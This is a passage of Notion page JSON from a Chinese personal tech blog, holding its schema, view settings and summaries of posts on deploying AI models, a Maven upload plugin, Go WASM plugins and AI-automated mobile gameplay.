Id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1719380157224,"last_edited_time":1719380157224,"parent_id":"ee32d92f-a5e6-4cc9-8b24-1abc08248add","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"83ed2aa4-065b-4e6f-ab73-289b79d3c7e9":{"value":{"id":"83ed2aa4-065b-4e6f-ab73-289b79d3c7e9","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["b"],["i"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"f49fb055-2837-4f80-896b-c5ef75f91a20","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"839b215f-6196-4210-81b3-4fe0b4d5cb64":{"value":{"id":"839b215f-6196-4210-81b3-4fe0b4d5cb64","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"f49fb055-2837-4f80-896b-c5ef75f91a20","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"27fd9602-be31-47f0-86b8-ca4dfe54e9bd":{"value":{"id":"27fd9602-be31-47f0-86b8-ca4dfe54e9bd","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1719380157224,"last_edited_time":1719380157224,"parent_id":"72ad435a-6af9-4918-b2c9-035ce0afea76","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"next":{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技